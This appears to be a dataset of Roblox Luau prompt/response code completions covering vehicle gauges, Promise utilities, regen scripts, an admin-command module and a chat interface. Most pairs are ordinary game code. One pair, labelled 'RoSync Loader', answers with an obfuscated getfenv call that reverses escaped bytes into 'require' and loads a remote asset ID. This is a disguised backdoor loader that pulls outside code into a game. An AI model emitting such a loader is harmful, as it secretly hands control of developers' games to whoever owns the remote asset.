Prompt: --easter egg

Response:
mouse.KeyDown:connect(function(key)
	if key=="u" and script.Blown.Value == false then
		Heat = Heat+1
	end
end)

if not FE then

radiator.Oil.Enabled = false
radiator.Antifreeze.Enabled = false
radiator.Liquid.Volume = 0
radiator.Fan:Play()
radiator.Fan.Pitch = 1+FanSpeed
radiator.Steam:Play()
radiator.Liquid:Play()
script.Blown.Value = false

while wait(.2) do
	if Heat > FanTemp and Fan == true then
		FanCool = -FanSpeed
		radiator.Fan.Volume = FanVolume
	elseif Heat < FanTempAlpha then
		FanCool = 0
		radiator.Fan.Volume = 0
	end

	Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
	Heat = math.max(RunningTemp,(Heat+Load)+FanCool)

	if Heat >= BlowupTemp then
		Heat = BlowupTemp
		radiator.Break:Play()
		radiator.Liquid.Volume = .5
		radiator.Oil.Enabled = true
		radiator.Antifreeze.Enabled = true
		script.Parent.Parent.IsOn.Value = false
		script.Blown.Value = true
		car.Body.ExhaustH.Fire.Fire.Enabled = true
		car.Body.ExhaustH.Fire.FireLight.Enabled = true
		car.Body.ExhaustH.Fire.Smoke.Enabled = true
	elseif Heat >= BlowupTemp-20 then
		radiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1)
		radiator.Smoke.Enabled = true
		radiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10)
	else
		radiator.Smoke.Enabled = false
		radiator.Steam.Volume = 0
		car.Body.ExhaustH.Fire.Fire.Enabled = false
		car.Body.ExhaustH.Fire.FireLight.Enabled = false
		car.Body.ExhaustH.Fire.Smoke.Enabled = false
	end

	script.Celsius.Value = Heat
	script.Parent.Temp.Text = math.floor(Heat).."°c"
	script.Parent.Temp.TextColor3 = Color3.fromRGB(255,255-((Heat-FanTemp)*10),255-((Heat-FanTemp)*10))
end

else

	handler:FireServer("Initialize",FanSpeed)
while wait(.2) do

	if Heat > FanTemp and Fan == true then
		FanCool = -FanSpeed
		handler:FireServer("FanVolume",FanVolume)
	else
		FanCool = 0
		handler:FireServer("FanVolume",0)
	end

	Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
	Heat = math.max(RunningTemp,(Heat+Load)+FanCool)

	if Heat >= BlowupTemp then
		Heat = BlowupTemp
		handler:FireServer("Blown")
		script.Parent.Parent.IsOn.Value = false
		script.Blown.Value = true
	elseif Heat >= BlowupTemp-10 then
		handler:FireServer("Smoke",true,BlowupTemp,Heat)
	else
		handler:FireServer("Smoke",false,BlowupTemp,Heat)
	end

	script.Celsius.Value = Heat
	script.Parent.Temp.Text = math.floor(Heat).."°c"
end
end


Prompt: -- A graph object which can have dependencies.

Response:
export type Dependent = {
	update: (Dependent) -> boolean,
	dependencySet: Set<Dependency>
}


Prompt:
-- Keep in mind this will stop working if roblox changes any of the default blocky meshes, though I doubt that would happen anytime soon, if ever.
-- If it does happen, though, just put a new DefaultR15 rig in the script with up to date meshes and it will work again.
-- Alternatively, let me know personally and I'll update this script. :)


Prompt:
--[=[
	Converts an event into a Promise which resolves the next time the event fires.

	The optional `predicate` callback, if passed, will receive the event arguments and should return `true` or `false`, based on if this fired event should resolve the Promise or not. If `true`, the Promise resolves. If `false`, nothing happens and the predicate will be rerun the next time the event fires.

	The Promise will resolve with the event arguments.

	:::tip
	This function will work given any object with a `Connect` method. This includes all Roblox events.
	:::

	```lua
	-- Creates a Promise which only resolves when `somePart` is touched
	-- by a part named `"Something specific"`.
	return Promise.fromEvent(somePart.Touched, function(part)
		return part.Name == "Something specific"
	end)
	```

	@since 3.0.0
	@param event Event -- Any object with a `Connect` method. This includes all Roblox events.
	@param predicate? (...: P) -> boolean -- A function which determines if the Promise should resolve with the given value, or wait for the next event to check again.
	@return Promise<P>
]=]

Response:
function Promise.fromEvent(event, predicate)
	predicate = predicate or function()
		return true
	end

	return Promise._new(debug.traceback(nil, 2), function(resolve, _, onCancel)
		local connection
		local shouldDisconnect = false

		local function disconnect()
			connection:Disconnect()
			connection = nil
		end

		-- We use shouldDisconnect because if the callback given to Connect is called before
		-- Connect returns, connection will still be nil. This happens with events that queue up
		-- events when there's nothing connected, such as RemoteEvents

		connection = event:Connect(function(...)
			local callbackValue = predicate(...)

			if callbackValue == true then
				resolve(...)

				if connection then
					disconnect()
				else
					shouldDisconnect = true
				end
			elseif type(callbackValue) ~= "boolean" then
				error("Promise.fromEvent predicate should always return a boolean")
			end
		end)

		if shouldDisconnect and connection then
			return disconnect()
		end

		onCancel(disconnect)
	end)
end

return Promise


Prompt:
--!strict
--[=[
	@function removeValue
	@within Array

	@param array {T} -- The array to remove the value from.
	@param value T -- The value to remove.
	@return {T} -- The array with the value removed.

	Removes a value from an array.

	```lua
	local array = { 1, 2, 3 }

	local new = RemoveValue(array, 2) -- { 1, 3 }
	```
]=]

Response:
local function removeValue<T>(array: { T }, value: T): { T }
	local result = {}

	for index, arrValue in ipairs(array) do
		if arrValue ~= value then
			table.insert(result, arrValue)
		end
	end

	return result
end

return removeValue


Prompt:
-- Using the FindPartsInRegion3 API, this regen is "smart" and will NOT regenerate if something is in the way.
-- If something IS in the way, the script will wait for the area to be clear.

Response:
local plane = script.Parent.Plane.Plane:clone()
script.Parent.Plane.Plane.Cloned.Value,plane.Cloned.Value = true,true
script.Parent.Plane.Plane.Origin.Value = script.Parent
local regen = script.Parent.Regen
local active = false
local downtime = 5	-- This is the only thing you should edit in any script in this plane kit. Every other piece of code should be left alone

plane.PrimaryPart = plane.MainParts.Main
local planeSize = plane:GetModelSize()
local planePos = plane:GetModelCFrame().p
local v0 = (planePos-(planeSize/2))
local v1 = (planePos+(planeSize/2))
local region = Region3.new(v0,v1)	-- Creates a 3D space using two Vector3s

local gui = Instance.new("ScreenGui")
gui.Name = "RegenGui"
local f = Instance.new("Frame",gui)
f.Name = "Message"
f.Style = Enum.FrameStyle.RobloxRound
f.Position = UDim2.new(0.5,-150,0.25,-15)
f.Size = UDim2.new(0,300,0,30)
local t = Instance.new("TextLabel",f)
t.Name = "Msg"
t.Text = "Awaiting area to be clear for regeneration to continue"
t.TextColor3 = Color3.new(1,1,1)
t.Font = Enum.Font.ArialBold
t.FontSize = Enum.FontSize.Size12
t.Position = UDim2.new(0.5,0,0.5,0)

function getPassengers(pln)	-- Checks for other players in seats on the plane. If no one is on board, the plane will be marked as "inactive" and removed
	local plrs = {}
	local function scan(parent)
		for _,v in pairs(parent:GetChildren()) do
			if ((v:IsA("Seat")) or (v:IsA("VehicleSeat"))) then
				if ((v:findFirstChild("SeatWeld")) and (v.SeatWeld.Part1)) then
					local plr = game.Players:GetPlayerFromCharacter(v.SeatWeld.Part1.Parent)
					if (plr) then table.insert(plrs,plr) end
				end
			end
			scan(v)
		end
	end
	scan(pln)
	return plrs
end

function deleteInactivePlanes()
	for _,v in pairs(script.Parent:GetChildren()) do
		if (v.Name == plane.Name) then
			local passengers = getPassengers(v)
			if (#passengers == 0) then
				v:remove()
			end
		end
	end
end

function regionIsClear()
	local parts = game.Workspace:findPartsInRegion3(region,regen,100)
	return (#parts == 0)
end

function regenMain()
	local p = plane:clone()
	p.Parent = script.Parent
	p:MakeJoints()
end

regen.Touched:connect(function(obj)
	if (active) then return end
	local plr = game.Players:GetPlayerFromCharacter(obj.Parent)
	if (not plr) then return end
	active = true
	deleteInactivePlanes()
	for i = 0,0.5,0.1 do
		regen.Transparency = i
		wait()
	end
	regen.Transparency = 0.5
	while (not regionIsClear()) do
		wait(0.5)
		if ((plr) and (plr.Parent) and (plr:findFirstChild("PlayerGui"))) then
			gui.Parent = plr.PlayerGui
		end
	end
	gui.Parent = nil
	regenMain()
	wait(downtime)
	for i = 0.5,0,-0.1 do
		regen.Transparency = i
		wait()
	end
	regen.Transparency = 0
	active = false
end)


Prompt: --// F key, Manual

Response:
mouse.KeyUp:connect(function(key)
	if key=="f" then
		script.Parent.Parent.Man.TextTransparency = 0.8
		veh.Lightbar.middle.Man:Stop()
		veh.Lightbar.middle.Wail.Volume = 2
		veh.Lightbar.middle.Yelp.Volume = 2
		veh.Lightbar.middle.Priority.Volume = 2
		veh.Lightbar.middle.Hilo.Volume = 2
		veh.Lightbar.middle.Rwail.Volume = 2
		script.Parent.Parent.MBOV.Visible = true
			script.Parent.Parent.MBOV.Text = "Made by OfficerVargas"
	end
end)

mouse.KeyDown:connect(function(key)
	if key=="j" then
		veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
	end
end)

mouse.KeyDown:connect(function(key)
	if key=="DPadDown" then
		veh.Lightbar.middle.Beep:Play()
		veh.Lightbar.RemoteEvent:FireServer(true)
	end
end)


Prompt: --Sounds

Response:
local equipSound = m4:WaitForChild("Equip")
local fireSound = m4:WaitForChild("Fire")
local reloadSound = m4:WaitForChild("Reload")
local knifeEquipSound = knife:WaitForChild("EquipSound")
local knifeAttackSound = knife:WaitForChild("AttackSound")
local knifeStabSound = knife:WaitForChild("StabSound")
local hurtSound = myHead:WaitForChild("Hurt")
local pinSound = grenade.Pin


Prompt: -- << FUNCTIONS >>

Response:
function module:Setup()
	local commandsToAdd = require(main.server.Modules.Commands)
	for i, command in pairs(commandsToAdd) do
		if type(command) == "table" then
			--ChangeRankRequiredToUseCommand
			local commandName = string.lower(command.Name)
			local changeRankByNameSetting = main.settings.ChangeRankRequiredToUseCommand or main.settings.SetCommandRankByName
			local changeRank = changeRankByNameSetting[command.Name] or changeRankByNameSetting[commandName]
			if changeRank then
				if tonumber(changeRank) == nil then
					changeRank = main:GetModule("cf"):GetRankId(changeRank)
				end
				command.Rank = changeRank
			elseif commandName == "cmdbar" or commandName == "cmdbar2"  then
				local settingName = commandName:gsub("^%a", function(c) return(string.upper(c)) end)
				local setting = main.settings[settingName]
				if setting then
					if tonumber(setting) == nil then
						setting = main:GetModule("cf"):GetRankId(setting)
					end
					command.Rank = setting
					main.settings[settingName] = setting
				end
			end
			--
			if commandName ~= "" then
				local function getCommandTables()
					local template, modified = {},{}
					for dataName, data in pairs(command) do
						if main:GetModule("cf"):FindValue(main.commandInfoToShowOnClient, dataName) then
							template[dataName] = data
						elseif dataName == "UnFunction" and type(data) == "function" then
							template["UnFunction"] = "un".. string.gsub(command.Name, "%a", function(c) return string.upper(c) end, 1)
						end
						modified[dataName] = data
					end
					--
					local lowerCaseArgs = {}
					if command.Args then
						for i,v in pairs(command.Args) do
							table.insert(lowerCaseArgs, string.lower(v))
						end
					end
					template.RankName = main:GetModule("cf"):GetRankName(command.Rank)
					template.Args = lowerCaseArgs
					modified.Args = lowerCaseArgs
					--
					return template, modified
				end
				local infoTemplate, modifiedCommand = getCommandTables()
				table.insert(main.commandInfo, infoTemplate)
				main.commands[commandName] = modifiedCommand
				--Special Colors
				if command.SpecialColors then
					for i,v in pairs(main.settings.Colors) do
						local shortName = v[1]
						if shortName ~= "w" then
							local newTemplate, newModifiedCommand = getCommandTables()
							local commandColorName = command.Name..shortName
							local color = v[3]
							newTemplate.SpecialColor = color
							newTemplate.SpecialColorName = shortName
							newTemplate.OriginalName = command.Name
							newTemplate.Name = commandColorName
							newModifiedCommand.SpecialColor = color
							newModifiedCommand.Name = commandColorName
							newModifiedCommand.OriginalName = command.Name
							table.insert(main.commandInfo, newTemplate)
							main.commands[commandColorName] = newModifiedCommand
						end
					end
				end
				--
				for infoName, infoTable in pairs(main.infoOnAllCommands) do
					local commandStat = command[infoName]
					if type(commandStat) == "table" then
						for i,v in pairs(commandStat) do
							if infoName ~= "Contributors" then
								v = string.lower(v)
							end
							if infoName == "Contributors" or infoName == "Tags" then
								if infoName == "Contributors" and tonumber(v) then
									v = main.main:GetModule("cf"):GetName(v)
								end
								local statCount = main.infoOnAllCommands[infoName][v]
								if statCount == nil then
									--if infoName ~= "Contributors" or not isCustomCommands then
										main.infoOnAllCommands[infoName][v] = 1
									--end
								else
									main.infoOnAllCommands[infoName][v] = statCount + 1
								end
							elseif infoName == "Aliases" then
								main.infoOnAllCommands[infoName][v] = commandName
							else
								main.infoOnAllCommands[infoName][v] = true
							end
						end
					end
				end
				main.commandRanks[commandName] = command.Rank
			end
		end
	end
end

return module


Prompt: -- To make this work, simply group it with the model you want!

Response:
local modelbackup = script.Parent.Parent:FindFirstChild(modelname):clone()
local trigger = script.Parent

enabled = true

function onTouched(hit)

	if enabled == true then

		enabled = false
		trigger.BrickColor = BrickColor.new("Really black")

	if script.Parent.Parent:FindFirstChild(modelname) ~= nil then

		script.Parent.Parent:FindFirstChild(modelname):Destroy()

	end
wait(5)
		local modelclone = modelbackup:clone()
		modelclone.Parent = script.Parent.Parent
		modelclone:MakeJoints()

		wait(WaitTime)

		enabled = true
		trigger.BrickColor = BrickColor.new("Bright violet")

	end

end
script.Parent.Touched:connect(onTouched)


Prompt: --[[ Last synced 10/14/2020 09:26 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt: --// Animations

Response:
local L_157_

function IdleAnim(L_318_arg1)
	L_24_.IdleAnim(L_3_, L_157_, {
		L_44_,
		L_45_,
		L_46_
	});
end;

function EquipAnim(L_319_arg1)
	L_24_.EquipAnim(L_3_, L_157_, {
		L_44_
	});
end;

function UnequipAnim(L_320_arg1)
	L_24_.UnequipAnim(L_3_, L_157_, {
		L_44_
	});
end;

function FireModeAnim(L_321_arg1)
	L_24_.FireModeAnim(L_3_, L_157_, {
		L_44_,
		L_46_,
		L_45_,
		L_54_
	});
end

function ReloadAnim(L_322_arg1)
	L_24_.ReloadAnim(L_3_, L_157_, {
		L_45_,
		L_46_
	});
end;

function BoltingBackAnim(L_323_arg1)
	L_24_.BoltingBackAnim(L_3_, L_157_, {
		L_48_
	});
end

function BoltingForwardAnim(L_324_arg1)
	L_24_.BoltingForwardAnim(L_3_, L_157_, {
		L_48_
	});
end

function BoltingForwardAnim(L_325_arg1)
	L_24_.BoltingForwardAnim(L_3_, L_157_, {
		L_48_
	});
end

function BoltBackAnim(L_326_arg1)
	L_24_.BoltBackAnim(L_3_, L_157_, {
		L_48_,
		L_46_,
		L_45_,
		L_44_,
		L_58_
	});
end

function BoltForwardAnim(L_327_arg1)
	L_24_.BoltForwardAnim(L_3_, L_157_, {
		L_48_,
		L_46_,
		L_45_,
		L_44_,
		L_58_
	});
end

function InspectAnim(L_328_arg1)
	L_24_.InspectAnim(L_3_, L_157_, {
		L_46_,
		L_45_
	});
end

function nadeReload(L_329_arg1)
	L_24_.nadeReload(L_3_, L_157_, {
		L_45_,
		L_46_
	});
end


Prompt: --	inspd.Rotation = -115 + (220 / 220) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))

Response:
end)

script.Parent.Speed.MouseButton1Click:connect(function()
	if currentUnits==#UNITS then
		currentUnits = 1
	else
		currentUnits = currentUnits+1
	end
	for i,v in pairs(script.Parent.Speedo:GetChildren()) do
		v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
	end
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

mouse.KeyDown:connect(function(key)
	if key=="v" then
		script.Parent.Visible=not script.Parent.Visible
	end
end)

while wait() do
	local gearText = script.Parent.Parent.Values.Gear.Value
	if gearText == 0 then
		gearText = "N"
		car.Body.Dash.Gear.G.Gear.Text = "N"
	elseif gearText == -1 then
		gearText = "R"
		car.Body.Dash.Gear.G.Gear.Text = "R"
	elseif gearText >= 1 then
		if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
			gearText = "D"
		end
	end
	script.Parent.Gear.Text = gearText
	car.Body.Dash.Gear.G.Gear.Text = gearText
end


Prompt: -- Code for handling controls of various data types --

Response:
local Controls = {}

Controls["default"] = function(object, propertyData, readOnly)
	local propertyName = propertyData["Name"]
	local propertyType = propertyData["ValueType"]

	local box = CreateTextBox(readOnly)
	box.Size = UDim2.new(1, -2 * Styles.Margin, 1, 0)
	box.Position = UDim2.new(0, Styles.Margin, 0, 0)

	local function update()
		local value = object[propertyName]
		box.Text = ToString(value, propertyType)
	end

	if not readOnly then
		box.FocusLost:connect(function(enterPressed)
			Set(object, propertyData, ToValue(box.Text,propertyType))
			update()
		end)
	end

	update()

	object.Changed:connect(function(property)
		if (property == propertyName) then
			update()
		end
	end)

	return box
end

Controls["bool"] = function(object, propertyData, readOnly)
	local propertyName = propertyData["Name"]
	local checked = object[propertyName]

	local checkbox, setValue = CreateCheckbox(checked, readOnly, function(value)
		Set(object, propertyData, not checked)
	end)
	checkbox.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin)

	setValue(checked)

	local function update()
		checked = object[propertyName]
		setValue(checked)
	end

	object.Changed:connect(function(property)
		if (property == propertyName) then
			update()
		end
	end)

	if object:IsA("BoolValue") then
		object.Changed:connect(function(val)
			update()
		end)
	end

	update()

	return checkbox
end

Controls["BrickColor"] = function(object, propertyData, readOnly)
	local propertyName = propertyData["Name"]

	local frame,label,brickColorBox = CreateBrickColor(readOnly, function(brickColor)
		Set(object, propertyData, brickColor)
	end)

	local function update()
		local value = object[propertyName]
		brickColorBox.BackgroundColor3 = value.Color
		label.Text = tostring(value)
	end

	update()

	object.Changed:connect(function(property)
		if (property == propertyName) then
			update()
		end
	end)

	return frame
end

Controls["Color3"] = function(object, propertyData, readOnly)
	local propertyName = propertyData["Name"]

	local frame,textBox,colorBox = CreateColor3Control(readOnly)

	textBox.FocusLost:connect(function(enterPressed)
		Set(object, propertyData, ToValue(textBox.Text,"Color3"))
		local value = object[propertyName]
		colorBox.BackgroundColor3 = value
		textBox.Text = ToString(value, "Color3")
	end)

	local function update()
		local value = object[propertyName]
		colorBox.BackgroundColor3 = value
		textBox.Text = ToString(value, "Color3")
	end

	update()

	object.Changed:connect(function(property)
		if (property == propertyName) then
			update()
		end
	end)

	return frame
end

Controls["Enum"] = function(object, propertyData, readOnly)
	local propertyName = propertyData["Name"]
	local propertyType = propertyData["ValueType"]

	local enumName = object[propertyName].Name

	local enumNames = {}
	for _,enum in pairs(Enum[tostring(propertyType)]:GetEnumItems()) do
		table.insert(enumNames, enum.Name)
	end

	local dropdown, propertyLabel = CreateDropDown(enumNames, enumName, readOnly, function(value)
		Set(object, propertyData, value)
	end)
	--dropdown.Parent = frame

	local function update()
		local value = object[propertyName].Name
		propertyLabel.Text = tostring(value)
	end

	update()

	object.Changed:connect(function(property)
		if (property == propertyName) then
			update()
		end
	end)

	return dropdown
end

Controls["Object"] = function(object, propertyData, readOnly)
	local propertyName = propertyData["Name"]
	local propertyType = propertyData["ValueType"]

	local box = CreateObject(readOnly,function()end)
	box.Size = UDim2.new(1, -2 * Styles.Margin, 1, 0)
	box.Position = UDim2.new(0, Styles.Margin, 0, 0)

	local function update()
		if AwaitingObjectObj == object then
			if AwaitingObjectValue == true then
				box.Text = "Select an Object"
				return
			end
		end
		local value = object[propertyName]
		box.Text = ToString(value, propertyType)
	end

	if not readOnly then
		box.MouseButton1Click:connect(function()
			if AwaitingObjectValue then
				AwaitingObjectValue = false
				update()
				return
			end
			AwaitingObjectValue = true
			AwaitingObjectObj = object
			AwaitingObjectProp = propertyData
			box.Text = "Select an Object"
		end)

		box.Cancel.Visible = true
		box.Cancel.MouseButton1Click:connect(function()
			object[propertyName] = nil
		end)
	end

	update()

	object.Changed:connect(function(property)
		if (property == propertyName) then
			update()
		end
	end)

	if object:IsA("ObjectValue") then
		object.Changed:connect(function(val)
			update()
		end)
	end

	return box
end

function GetControl(object, propertyData, readOnly)
	local propertyType = propertyData["ValueType"]
	local control = nil

	if Controls[propertyType] then
		control = Controls[propertyType](object, propertyData, readOnly)
	elseif RbxApi.IsEnum(propertyType) then
		control = Controls["Enum"](object, propertyData, readOnly)
	else
		control = Controls["default"](object, propertyData, readOnly)
	end
	return control
end


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 30 -- cooldown for use of the tool again

ZoneModelName = "Heal zone" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt:
--[[
	Returns the system associated with specified model
]]

Response:
function SystemManager.getSystemByModel(model)
	return TableUtils.find(
		systems,
		function(system)
			if system:getModel() == model then
				return true
			end
		end
	)
end


Prompt:
--[=[
	Preloads assets
	:::note
	If strings are passed in, it only preloads textures, and will preload meshes, but only to http client.
	:::

	@param contentIdList { Instance | string }
	@return Promise
]=]

Response:
function ContentProviderUtils.promisePreload(contentIdList)
	assert(type(contentIdList) == "table", "Bad contentIdList")

	return Promise.spawn(function(resolve, reject)
		local ok, err = pcall(function()
			ContentProvider:PreloadAsync(contentIdList)
		end)

		if not ok then
			return reject(err)
		end

		resolve()
	end)
end

return ContentProviderUtils


Prompt:
--[[**
	ensures value is either nil or passes check

	@param check The check to use

	@returns A function that will return true iff the condition is passed
**--]]

Response:
function t.optional(check)
	assert(t.callback(check))
	return function(value)
		if value == nil then
			return true
		end
		local success, errMsg = check(value)
		if success then
			return true
		else
			return false, string.format("(optional) %s", errMsg or "")
		end
	end
end


Prompt:
--// All global vars will be wiped/replaced except script
--// All guis are autonamed client.Variables.CodeName..gui.Name
--// Be sure to update the console gui's code if you change stuff

Response:
return function(data)
	local client, cPcall, Pcall, Routine, service, gTable =
		client, cPcall, Pcall, Routine, service, gTable

	local gui = script.Parent.Parent

	local localplayer = service.Player
	local mouse = localplayer:GetMouse()
	local playergui = service.PlayerGui

	local storedChats = client.Variables.StoredChats
	local desc = gui.Desc
	local nohide = data.KeepChat

	local function Expand(ent, point)
		ent.MouseLeave:Connect(function(x, y)
			point.Visible = false
		end)

		ent.MouseMoved:Connect(function(x, y)
			point.Text = ent.Desc.Value
			point.Size = UDim2.new(0, 10000, 0, 10000)
			local bounds = point.TextBounds.X
			local rows = math.floor(bounds / 500)
			rows = rows + 1
			if rows < 1 then
				rows = 1
			end
			local newx = 500
			if bounds < 500 then
				newx = bounds
			end
			point.Visible = true
			point.Size = UDim2.new(0, newx + 10, 0, rows * 20)
			point.Position = UDim2.new(0, x, 0, y - 40 - (rows * 20))
		end)
	end

	local function UpdateChat()
		if gui then
			local globalTab = gui.Drag.Frame.Frame.Global
			local teamTab = gui.Drag.Frame.Frame.Team
			local localTab = gui.Drag.Frame.Frame.Local
			local adminsTab = gui.Drag.Frame.Frame.Admins
			local crossTab = gui.Drag.Frame.Frame.Cross

			local entry = gui.Entry
			local tester = gui.BoundTest

			globalTab:ClearAllChildren()
			teamTab:ClearAllChildren()
			localTab:ClearAllChildren()
			adminsTab:ClearAllChildren()
			crossTab:ClearAllChildren()

			local globalNum = 0
			local teamNum = 0
			local localNum = 0
			local adminsNum = 0
			local crossNum = 0
			for i, v in pairs(storedChats) do
				local clone = entry:Clone()
				clone.Message.Text = service.MaxLen(v.Message, 100)
				clone.Desc.Value = v.Message
				Expand(clone, desc)
				if not string.match(v.Player, "%S") then
					clone.Nameb.Text = v.Player
				else
					clone.Nameb.Text = "["..v.Player.."]: "
				end
				clone.Visible = true
				clone.Nameb.Font = "SourceSansBold"

				local color = v.Color or BrickColor.White()
				clone.Nameb.TextColor3 = color.Color

				tester.Text = "["..v.Player.."]: "
				local naml = tester.TextBounds.X + 5
				if naml > 100 then
					naml = 100
				end

				tester.Text = v.Message
				local mesl = tester.TextBounds.X

				clone.Message.Position = UDim2.new(0, naml, 0, 0)
				clone.Message.Size = UDim2.new(1, -(naml + 10), 1, 0)
				clone.Nameb.Size = UDim2.new(0, naml, 0, 20)

				clone.Visible = false
				clone.Parent = globalTab

				local rows = math.floor((mesl + naml) / clone.AbsoluteSize.X)
				rows = rows + 1
				if rows < 1 then
					rows = 1
				end
				if rows > 3 then
					rows = 3
				end
				--rows = rows+1

				clone.Parent = nil
				clone.Visible = true

				clone.Size = UDim2.new(1, 0, 0, rows * 20)

				if v.Private then
					clone.Nameb.TextColor3 = Color3.new(0.58823529411765, 0.22352941176471, 0.69019607843137)
				end

				if v.Mode == "Global" then
					clone.Position = UDim2.new(0, 0, 0, globalNum * 20)
					globalNum = globalNum + 1
					if rows > 1 then
						globalNum = globalNum + rows - 1
					end
					clone.Parent = globalTab
				elseif v.Mode == "Team" then
					clone.Position = UDim2.new(0, 0, 0, teamNum * 20)
					teamNum = teamNum + 1
					if rows > 1 then
						teamNum = teamNum + rows - 1
					end
					clone.Parent = teamTab
				elseif v.Mode == "Local" then
					clone.Position = UDim2.new(0, 0, 0, localNum * 20)
					localNum = localNum + 1
					if rows > 1 then
						localNum = localNum + rows - 1
					end
					clone.Parent = localTab
				elseif v.Mode == "Admins" then
					clone.Position = UDim2.new(0, 0, 0, adminsNum * 20)
					adminsNum = adminsNum + 1
					if rows > 1 then
						adminsNum = adminsNum + rows - 1
					end
					clone.Parent = adminsTab
				elseif v.Mode == "Cross" then
					clone.Position = UDim2.new(0, 0, 0, crossNum * 20)
					crossNum = crossNum + 1
					if rows > 1 then
						crossNum = crossNum + rows - 1
					end
					clone.Parent = crossTab
				end
			end

			globalTab.CanvasSize = UDim2.new(0, 0, 0, ((globalNum) * 20))
			teamTab.CanvasSize = UDim2.new(0, 0, 0, ((teamNum) * 20))
			localTab.CanvasSize = UDim2.new(0, 0, 0, ((localNum) * 20))
			adminsTab.CanvasSize = UDim2.new(0, 0, 0, ((adminsNum) * 20))
			crossTab.CanvasSize = UDim2.new(0, 0, 0, ((crossNum) * 20))

			local glob = (((globalNum) * 20) - globalTab.AbsoluteWindowSize.Y)
			local tea = (((teamNum) * 20) - teamTab.AbsoluteWindowSize.Y)
			local loc = (((localNum) * 20) - localTab.AbsoluteWindowSize.Y)
			local adm = (((adminsNum) * 20) - adminsTab.AbsoluteWindowSize.Y)
			local cro = (((crossNum) * 20) - crossTab.AbsoluteWindowSize.Y)

			if glob < 0 then
				glob = 0
			end
			if tea < 0 then
				tea = 0
			end
			if loc < 0 then
				loc = 0
			end
			if adm < 0 then
				adm = 0
			end
			if cro < 0 then
				cro = 0
			end

			globalTab.CanvasPosition = Vector2.new(0, glob)
			teamTab.CanvasPosition = Vector2.new(0, tea)
			localTab.CanvasPosition = Vector2.new(0, loc)
			adminsTab.CanvasPosition = Vector2.new(0, adm)
			crossTab.CanvasPosition = Vector2.new(0, cro)
		end
	end

	if not storedChats then
		client.Variables.StoredChats = {}
		storedChats = client.Variables.StoredChats
	end

	gTable:Ready()

	local bubble = gui.Bubble
	local toggle = gui.Toggle
	local drag = gui.Drag
	local frame = gui.Drag.Frame
	local frame2 = gui.Drag.Frame.Frame
	local box = gui.Drag.Frame.Chat

	local globalTab = gui.Drag.Frame.Frame.Global
	local teamTab = gui.Drag.Frame.Frame.Team
	local localTab = gui.Drag.Frame.Frame.Local
	local adminsTab = gui.Drag.Frame.Frame.Admins
	local crossTab = gui.Drag.Frame.Frame.Cross

	local global = gui.Drag.Frame.Global
	local team = gui.Drag.Frame.Team
	local localb = gui.Drag.Frame.Local
	local admins = gui.Drag.Frame.Admins
	local cross = gui.Drag.Frame.Cross

	if not nohide then
		client.Variables.CustomChat = true
		client.Variables.ChatEnabled = false
		service.StarterGui:SetCoreGuiEnabled('Chat', false)
	else
		drag.Position = UDim2.new(0, 10, 1, -180)
	end

	local dragger = gui.Drag.Frame.Dragger
	local fakeDrag = gui.Drag.Frame.FakeDragger

	local boxFocused = false
	local mode = "Global"

	local lastChat = 0
	local lastClick = 0
	local isAdmin = client.Remote.Get("CheckAdmin")

	if not isAdmin then
		admins.BackgroundTransparency = 0.8
		admins.TextTransparency = 0.8
		cross.BackgroundTransparency = 0.8
		cross.TextTransparency = 0.8
	end

	if client.UI.Get("HelpButton") then
		toggle.Position = UDim2.new(1, -90, 1, -45)
	end

	local function openGlobal()
		globalTab.Visible = true
		teamTab.Visible = false
		localTab.Visible = false
		adminsTab.Visible = false
		crossTab.Visible = false

		global.Text = "Global"
		mode = "Global"

		global.BackgroundTransparency = 0
		team.BackgroundTransparency = 0.5
		localb.BackgroundTransparency = 0.5
		if isAdmin then
			admins.BackgroundTransparency = 0.5
			admins.TextTransparency = 0
			cross.BackgroundTransparency = 0.5
			cross.TextTransparency = 0
		else
			admins.BackgroundTransparency = 0.8
			admins.TextTransparency = 0.8
			cross.BackgroundTransparency = 0.8
			cross.TextTransparency = 0.8
		end
	end

	local function openTeam()
		globalTab.Visible = false
		teamTab.Visible = true
		localTab.Visible = false
		adminsTab.Visible = false
		crossTab.Visible = false

		team.Text = "Team"
		mode = "Team"

		global.BackgroundTransparency = 0.5
		team.BackgroundTransparency = 0
		localb.BackgroundTransparency = 0.5
		admins.BackgroundTransparency = 0.5
		if isAdmin then
			admins.BackgroundTransparency = 0.5
			admins.TextTransparency = 0
			cross.BackgroundTransparency = 0.5
			cross.TextTransparency = 0
		else
			admins.BackgroundTransparency = 0.8
			admins.TextTransparency = 0.8
			cross.BackgroundTransparency = 0.8
			cross.TextTransparency = 0.8
		end
	end

	local function openLocal()
		globalTab.Visible = false
		teamTab.Visible = false
		localTab.Visible = true
		adminsTab.Visible = false
		crossTab.Visible = false

		localb.Text = "Local"
		mode = "Local"

		global.BackgroundTransparency = 0.5
		team.BackgroundTransparency = 0.5
		localb.BackgroundTransparency = 0
		admins.BackgroundTransparency = 0.5
		if isAdmin then
			admins.BackgroundTransparency = 0.5
			admins.TextTransparency = 0
			cross.BackgroundTransparency = 0.5
			cross.TextTransparency = 0
		else
			admins.BackgroundTransparency = 0.8
			admins.TextTransparency = 0.8
			cross.BackgroundTransparency = 0.8
